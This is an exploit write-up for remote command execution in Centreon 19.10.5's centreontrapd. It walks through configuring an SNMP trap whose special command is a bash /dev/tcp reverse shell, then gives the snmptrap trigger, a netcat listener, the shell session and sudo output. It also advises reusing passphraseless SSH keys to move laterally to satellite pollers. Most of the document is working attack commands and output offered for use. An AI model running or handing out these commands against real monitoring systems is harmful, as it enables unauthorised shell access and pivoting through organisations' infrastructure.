Centreon 19.10.5 – ‘centreontrapd’ Remote Command Execution
# Exploit Title: Centreon 19.10.5 - 'centreontrapd' Remote Command Execution # Date: 2020-01-29 # Exploit Author: Fabien AUNAY, Omri Baso # Vendor Homepage: https://www.centreon.com/ # Software Link: https://github.com/centreon/centreon # Version: 19.10.5 # Tested on: CentOS 7 # CVE : - ########################################################################################################### Centreon 19.10.5 Remote Command Execution centreontrapd Trusted by SMBs and Fortune 500 companies worldwide. An industry reference in IT Infrastructure monitoring for the enterprise. Counts 200,000+ ITOM users worldwide and an international community of software collaborators. Presence in Toronto and Luxembourg. Deployed in diverse sectors: - IT & telecommunication - Transportation - Government - Heath care - Retail - Utilities - Finance & Insurance - Aerospace & Defense - Manufacturing - etc. It is possible to get a reverse shell with a snmp trap and gain a pivot inside distributed architecture. Steps: Objective 1 : Create a SNMP trap or use linkDown OID with special command in action 3 Objective 2 : Create passive service and use App-Monitoring-Centreon-Service-Dummy Objective 3 : Assign service trap relation Objective 4 : Get centreon id reverse shell ########################################################################################################### # Objective 1 : Create or use SNMP trap OID with special command in action 3 - Configuration > SNMP Traps [+] Trap name * : linkDown [+] OID * : .1.3.6.1.6.3.1.1.5.3 [+] Special Command : 0<&121-;exec 121<>/dev/tcp/127.0.0.1/12345;sh <&121 >&121 2>&121 # Objective 2 : Create passive service and use App-Monitoring-Centreon-Service-Dummy - Configuration > Services > Services by host [+] Description * : TRAP RCE [+] Linked with Hosts * : YOUR-LINKED-HOST [+] Check Command * : App-Monitoring-Centreon-Service-Dummy [+] DUMMYSTATUS : 0 [+] DUMMYOUTPUT : 0 [+] Passive Checks Enabled : YES [+] Is Volatile : YES [+] Service Trap Relation : Generic - linkDown # Objective 3 : Assign service trap relation - Configuration > SNMP Traps - linkDown - Relations [+] Linked services : YOUR-LINKED-HOST - SERVICE DESCRIPTION reload Central Reload snmp config # Objective 4 : Get centreon id reverse shell and think lateral [+] Send your trap snmptrap -v2c -c public 127.0.0.1 '' .1.3.6.1.6.3.1.1.5.3 ifIndex i 1 ifadminStatus i 2 ifOperStatus i 2 TIP: centreontrapd logfile: 2020-01-29 02:52:33 - DEBUG - 340 - Reading trap. Current time: Wed Jan 29 02:52:33 2020 2020-01-29 02:52:33 - DEBUG - 340 - Symbolic trap variable name detected (DISMAN-EVENT-MIB::sysUpTimeInstance). Will attempt to translate to a numerical OID 2020-01-29 02:52:33 - DEBUG - 340 - Translated to .1.3.6.1.2.1.1.3.0 2020-01-29 02:52:33 - DEBUG - 340 - Symbolic trap variable name detected (SNMPv2-MIB::snmpTrapOID.0). Will attempt to translate to a numerical OID ... 2020-01-29 02:52:33 - DEBUG - 340 - Trap found on service 'TRAP RCE' for host 'supervision_IT'. ... 2020-01-29 02:52:43 - INFO - 1757 - EXEC: Launch specific command 2020-01-29 02:52:43 - INFO - 1757 - EXEC: Launched command: 0<&121-;exec 121<>/dev/tcp/127.0.0.1/12345;sh <&121 >&121 2>&121 .. NOTE: Read the doc !!! https://documentation-fr.centreon.com/docs/centreon/fr/latest/administration_guide/poller/ssh_key.html?highlight=keygen The centreon id user shares configurations and instructions with satellite collectors trough SSH. No passphrase used. This allows you to move around the infrastructure after your RCE. POC: snmptrap -v2c -c public 127.0.0.1 '' .1.3.6.1.6.3.1.1.5.3 ifIndex i 1 ifadminStatus i 2 ifOperStatus i 2 nc -lvnp 12345 Ncat: Version 7.50 Ncat: Listening on :::12345 Ncat: Listening on 0.0.0.0:12345 Ncat: Connection from 127.0.0.1. Ncat: Connection from 127.0.0.1:38470. id uid=997(centreon) gid=994(centreon) groups=994(centreon),48(apache),990(centreon-engine),992(centreon-broker) sudo -l Matching Defaults entries for centreon on centreonlab: !visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin, env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS", env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE", env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES", env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE", env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY", secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin, !requiretty User centreon may run the following commands on centreonlab: (root) NOPASSWD: /sbin/service centreontrapd start (root) NOPASSWD: /sbin/service centreontrapd stop (root) NOPASSWD: /sbin/service centreontrapd restart (root) NOPASSWD: /sbin/service centreontrapd reload (root) NOPASSWD: /usr/sbin/service centreontrapd start (root) NOPASSWD: /usr/sbin/service centreontrapd stop (root) NOPASSWD: /usr/sbin/service centreontrapd restart (root) NOPASSWD: /usr/sbin/service centreontrapd reload (root) NOPASSWD: /sbin/service centengine start (root) NOPASSWD: /sbin/service centengine stop (root) NOPASSWD: /sbin/service centengine restart (root) NOPASSWD: /sbin/service centengine reload (root) NOPASSWD: /usr/sbin/service centengine start (root) NOPASSWD: /usr/sbin/service centengine stop (root) NOPASSWD: /usr/sbin/service centengine restart (root) NOPASSWD: /usr/sbin/service centengine reload (root) NOPASSWD: /bin/systemctl start centengine (root) NOPASSWD: /bin/systemctl stop centengine (root) NOPASSWD: /bin/systemctl restart centengine (root) NOPASSWD: /bin/systemctl reload centengine (root) NOPASSWD: /usr/bin/systemctl start centengine (root) NOPASSWD: /usr/bin/systemctl stop centengine (root) NOPASSWD: /usr/bin/systemctl restart centengine (root) NOPASSWD: /usr/bin/systemctl reload centengine (root) NOPASSWD: /sbin/service cbd start (root) NOPASSWD: /sbin/service cbd stop (root) NOPASSWD: /sbin/service cbd restart (root) NOPASSWD: /sbin/service cbd reload (root) NOPASSWD: /usr/sbin/service cbd start (root) NOPASSWD: /usr/sbin/service cbd stop (root) NOPASSWD: /usr/sbin/service cbd restart (root) NOPASSWD: /usr/sbin/service cbd reload (root) NOPASSWD: /bin/systemctl start cbd (root) NOPASSWD: /bin/systemctl stop cbd (root) NOPASSWD: /bin/systemctl restart cbd (root) NOPASSWD: /bin/systemctl reload cbd (root) NOPASSWD: /usr/bin/systemctl start cbd (root) NOPASSWD: /usr/bin/systemctl stop cbd (root) NOPASSWD: /usr/bin/systemctl restart cbd (root) NOPASSWD: /usr/bin/systemctl reload cbd |